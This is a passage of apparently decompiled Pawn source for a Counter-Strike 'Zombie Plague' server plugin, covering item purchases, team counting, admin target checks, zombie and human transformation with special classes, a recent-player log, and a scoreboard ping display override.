PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
g_iBlinks[iPlayer] += 5;
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
}
}
}
return 0;
}
GetZombies()
{
static iZombies;
static i;
iZombies = 0;
i = 0;
while (g_iMaxClients + 1 > i)
{
if (g_bZombie[i] && g_bAlive[i])
{
iZombies += 1;
}
i += 1;
}
return iZombies;
}
GetHumans()
{
static iHumans;
static i;
iHumans = 0;
i = 0;
while (g_iMaxClients + 1 > i)
{
if (!g_bZombie[i] && g_bAlive[i])
{
iHumans += 1;
}
i += 1;
}
return iHumans;
}
MessageLog(iReceiver, cMessage[], any:...)
{
static cBuffer[192];
vformat(cBuffer, 191, cMessage, 3);
if (iReceiver)
{
send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
}
else
{
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
{
send_say_text(i, g_iMaxClients + 1, cBuffer);
}
i += 1;
}
}
log_amx("^"%s^"", cBuffer);
return 0;
}
PrintToChat(iReceiver, cMessage[], any:...)
{
static cBuffer[192];
vformat(cBuffer, 191, cMessage, 3);
if (iReceiver)
{
send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
}
else
{
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
{
send_say_text(i, g_iMaxClients + 1, cBuffer);
}
i += 1;
}
}
return 0;
}
bool:GetAccess(iPlayer, iLevel, iNum)
{
static bool:bDone;
bDone = true;
if (!(iLevel & get_user_flags(iPlayer)))
{
bDone = false;
console_print(iPlayer, "You have no access to that command");
}
else
{
if (iNum > read_argc())
{
bDone = false;
console_print(iPlayer, "Wrong ussage. The command needs %d arguments", iNum + -1);
}
}
return bDone;
}
GetTarget(iPlayer, cTarget[], iFlags)
{
static iTarget;
static bool:bDone;
static done;
bDone = false;
iTarget = find_player("bl", cTarget);
if (iTarget && find_player("blj", cTarget) != iTarget)
{
console_print(iPlayer, "There are more clients matching to your argument");
return 0;
}
if (cTarget[0] == 35)
{
iTarget = GetUserIdMatch(cTarget);
}
if (!iTarget)
{
console_print(iPlayer, "Client with that name or userid not found");
return 0;
}
bDone = true;
if (iFlags & 4 && get_user_flags(iTarget) & 1 && iTarget != iPlayer)
{
bDone = false;
console_print(iPlayer, "Client %s has immunity", g_cName[iTarget]);
}
if (iFlags & 2 && !g_bAlive[iTarget])
{
bDone = false;
console_print(iPlayer, "That action can't be performed on dead client %s", g_cName[iTarget]);
}
if (!(iFlags & 1) && g_bFake[iTarget])
{
bDone = false;
console_print(iPlayer, "That action can't be performed on bot %s", g_cName[iTarget]);
}
if (bDone)
{
done = iTarget;
}
else
{
done = 0;
}
return done;
}
GetUserIdMatch(cTarget[])
{
static cNumber[32];
static iTarget;
static i;
copy(cNumber, 32, cTarget[1]);
iTarget = str_to_num(cNumber);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && get_user_userid(i) == iTarget)
{
return i;
}
i += 1;
}
return 0;
}
xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
{
fOut[0] = fVec[0] * fScalar;
fOut[1] = fVec[1] * fScalar;
fOut[2] = fVec[2] * fScalar;
return 0;
}
xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
{
fOut[0] = fFirst[0] + fSecond[0];
fOut[1] = fFirst[1] + fSecond[1];
fOut[2] = fFirst[2] + fSecond[2];
return 0;
}
Float:GetSpeed(iEntity)
{
static Float:fVelocity[3];
get_velocity(iEntity, fVelocity);
return vector_length(fVelocity);
}
CheckLastPlayer(iPlayer)
{
if (g_bRoundEnd || task_exists(550))
{
return 0;
}
static i;
static iPlayersNum;
iPlayersNum = GetAliveCount();
if (iPlayersNum < 2)
{
return 0;
}
if (g_bZombie[iPlayer] && GetZombies() == 1)
{
if (GetHumans() == 1)
{
return 0;
}
do {
} while (iPlayer == (i = GetRandomAlive()));
PrintToChat(0, "^x04[ZP]^x01 Last zombie,^x03 %s^x01 disconnected,^x04 %s^x01 is the last zombie!", g_cName[iPlayer], g_cName[i]);
switch (g_iPlayerType[iPlayer])
{
case 0:
{
MakeZombie(0, i, false, false, false);
}
case 1:
{
MakeZombie(0, i, false, true, false);
set_health(i, get_health(iPlayer));
}
case 2:
{
MakeZombie(0, i, false, false, true);
set_health(i, get_health(iPlayer));
}
}
}
else
{
if (!g_bZombie[iPlayer] && GetHumans() == 1)
{
if (GetZombies() == 1)
{
return 0;
}
do {
} while (iPlayer == (i = GetRandomAlive()));
PrintToChat(0, "^x04[ZP]^x01 Last human,^x03 %s^x01 disconnected,^x04 %s^x01 is the last human!", g_cName[iPlayer], g_cName[i]);
switch (g_iPlayerType[iPlayer])
{
case 0:
{
MakeHuman(i, false, false);
}
case 4:
{
MakeHuman(i, true, false);
set_health(i, get_health(iPlayer));
}
case 8:
{
MakeHuman(i, false, true);
set_health(i, get_health(iPlayer));
}
}
}
}
return 0;
}
GetAliveCount()
{
static iCount;
static i;
iCount = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i])
{
iCount += 1;
}
i += 1;
}
return iCount;
}
GetRandomAlive()
{
static j;
static i;
static iPlayers[32];
j = 0;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i])
{
iPlayers[j] = i;
j += 1;
}
i += 1;
}
return iPlayers[random_num(0, j + -1)];
}
MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
if (g_iZombieNextClass[iVictim] == -1)
{
menu_display(iVictim, g_iMenuZombieClasses);
}
g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
if (g_iZombieClass[iVictim] == -1)
{
g_iZombieClass[iVictim] = 0;
}
if (get_user_jetpack(iVictim))
{
user_drop_jetpack(iVictim, 1);
}
g_bZombie[iVictim] = true;
set_zombie(iVictim, true);
g_iBurningDuration[iVictim] = 0;
g_iPlayerType[iVictim] = 0;
g_bNoDamage[iVictim] = false;
remove_glow(iVictim);
remove_task(iVictim + 200);
remove_task(iVictim + 250);
g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];
if (iAttacker)
{
send_death_msg(iAttacker, iVictim);
send_score_attrib(iVictim);
set_frags(iAttacker, get_frags(iAttacker) + 1);
set_deaths(iVictim, get_deaths(iVictim) + 1);
send_score_info(iAttacker);
send_score_info(iVictim);
g_iPacks[iAttacker]++;
if (g_iZombieClass[iAttacker] == 6)
{
set_health(iAttacker, get_health(iAttacker) + 250);
send_implosion(iAttacker);
send_screen_fade(iAttacker, 255, 10, 10, 94);
set_glow(iAttacker, 19, 13, 255, 10, 10);
set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
}
if (g_iZombieClass[iAttacker] == 3)
{
set_health(iAttacker, get_health(iAttacker) + 500);
send_screen_fade(iAttacker, 64, 180, 0, 94);
set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
}
}
if (!bSilent)
{
if (bNemesis)
{
g_iPlayerType[iVictim] |= 1;
set_health(iVictim, 150000);
set_glow(iVictim, 19, 25, 255, 0, 0);
g_cClass[iVictim] = "Nemesis"
}
else if (bAssassin)
{
g_iPlayerType[iVictim] |= 2;
set_health(iVictim, 25000);
g_cClass[iVictim] = "Assassin"
}
else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
{
set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
}
else
{
set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
if (iAttacker)
{
ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
}
else
{
ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
}
}
}
else
{
set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
}
if (get_team(iVictim) != 1)
{
set_team(iVictim, 1);
}
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastChangedModel >= 0.25)
{
ChangeModel(iVictim + 250);
g_fLastChangedModel = fCurrentTime;
}
else
{
set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
g_fLastChangedModel = g_fLastChangedModel + 0.25;
}
if (g_iPlayerType[iVictim])
{
send_fov(iVictim, 110);
set_monster(iVictim, true);
}
else
{
if (g_iZombieClass[iVictim] == 4)
{
g_iJumpsNum[iVictim] = 1;
}
}
send_screen_fade(iVictim, 150, 0, 0, 255);
send_screen_shake(iVictim, 150000 , 25000, 135000);
send_damage(iVictim, 65536);
send_implosion(iVictim);
send_particle_burst(iVictim);
send_light(iVictim);
Task_EnableFlash(iVictim);
strip_user_weapons(iVictim);
reset_armor(iVictim);
give_weapon(iVictim, "weapon_knife");
ExecuteHamB(Ham_Item_PreFrame, iVictim);
return 0;
}
MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
remove_task(iPlayer + 200);
remove_task(iPlayer + 350);
remove_task(iPlayer + 250);
g_bCanBuy[iPlayer] = 1;
g_bNoDamage[iPlayer] = false;
g_bFlashEnabled[iPlayer] = false;
g_bFlash[iPlayer] = false;
g_bFrozen[iPlayer] = false;
g_bZombie[iPlayer] = false;
g_iBurningDuration[iPlayer] = 0;
g_iPlayerType[iPlayer] = 0;
send_fov(iPlayer, 90);
set_zombie(iPlayer, false);
g_cClass[iPlayer] = "Human";
strip_user_weapons(iPlayer);
give_weapon(iPlayer, "weapon_knife");
remove_glow(iPlayer);
if (bSurvivor)
{
g_iPlayerType[iPlayer] |= 4;
set_health(iPlayer, 3000);
give_weapon(iPlayer, "weapon_m4a1");
give_ammo(iPlayer, 22, 9999);
give_weapon(iPlayer, "weapon_ak47");
give_ammo(iPlayer, 28, 9999);
give_weapon(iPlayer, "weapon_xm1014");
give_ammo(iPlayer, 5, 9999);
if (!user_has_weapon(iPlayer, 4, -1))
{
give_weapon(iPlayer, "weapon_hegrenade");
}
g_cClass[iPlayer] = "Survivor";
}
else if (bSniper)
{
g_iPlayerType[iPlayer] |= 8;
set_health(iPlayer, 3000);
give_weapon(iPlayer, "weapon_awp");
give_ammo(iPlayer, 18, 9999);
set_glow(iPlayer, 19, 13, 200, 200, 0);
g_cClass[iPlayer] = "Sniper";
}
else
{
set_health(iPlayer, 150);
menu_display(iPlayer, g_iPrimaryMenu);
send_teleport(iPlayer);
sound(iPlayer, 3, "zombie_plague/antidote.wav");
set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
}
if (get_team(iPlayer) != 2)
{
set_team(iPlayer, 2);
}
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastChangedModel >= 0.25)
{
ChangeModel(iPlayer + 250);
g_fLastChangedModel = fCurrentTime;
}
else
{
set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
g_fLastChangedModel = g_fLastChangedModel + 0.25;
}
ExecuteHamB(Ham_Item_PreFrame, iPlayer);
return 0;
}
InsertInfo(iPlayer)
{
if (0 < g_iSize)
{
static iLast;
iLast = 0;
if (g_iSize < 10)
{
iLast = g_iSize + -1;
}
else
{
iLast = g_iTracker + -1;
if (0 > iLast)
{
iLast = g_iSize + -1;
}
}
if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast]))
{
copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
return 0;
}
}
static iTarget;
iTarget = 0;
if (g_iSize < 10)
{
iTarget = g_iSize;
g_iSize += 1;
}
else
{
iTarget = g_iTracker;
g_iTracker += 1;
if (g_iTracker == 10)
{
g_iTracker = 0;
}
}
copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
return 0;
}
GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
static iTarget;
iTarget = i + g_iTracker % 10;
copy(cName, iNameSize, g_cLNames[iTarget]);
copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
return 0;
}
AddCommas(Num, Output[], Len)
{
static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;
OutputPos = NumPos = 0;
if (Num < 0)
{
Output[OutputPos++] = '-';
Num = abs(Num);
}
NumLen = num_to_str(Num, Tmp, charsmax(Tmp));
if (NumLen <= 3)
{
OutputPos += copy(Output[OutputPos], Len, Tmp);
}
else
{
while (NumPos < NumLen && OutputPos < Len)
{
Output[OutputPos++] = Tmp[NumPos++];
if (NumLen - NumPos && !((NumLen - NumPos) % 3))
{
Output[OutputPos++] = ',';
}
}
Output[OutputPos] = '^0';
}
}
public Update_Client_Data(id)
{
if(!(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
return;
static player, sending;
sending = 0;
static iStarted;
for( player = 1; player <= g_iMaxClients; player++ )
{
if( !is_user_connected( player ) )
continue;
switch( sending )
{
case 0:
{
if ((iStarted = ping(id)))
{
write_byte((g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 )));
write_short(g_iArgumentPing[ player ][ 0 ]);
}
sending++;
}
case 1:
{
if (iStarted)
{
write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
write_short( g_iArgumentPing[ player ][ 1 ] );
}
sending++;
}
case 2:
{
if (iStarted)
{
write_byte( ( 4 + 8 * ( player - 1 ) ) );
write_short( g_iArgumentPing[ player ][ 2 ] );
write_byte( 0 );
message_end( );
}
sending = 0;
}
}
}
if (sending && iStarted)
{
write_byte( 0 );
message_end( );
}
}
public TaskCalculateArguments()
{
static player, ping;
for( player = 1; player <= g_iMaxClients; player++ )
{
if( g_iPingOverride[ player ] < 0 )
{
ping = random_num(-4, 4) + 12;
}
else
{
ping = g_iPingOverride[ player ];
}
for( g_iOffset [ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
{
if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
{
g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
break;
}
}
for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
{
if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
{
g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
break;
}
}
g_iArgumentPing[ player ][ 2 ] = ping;
}
}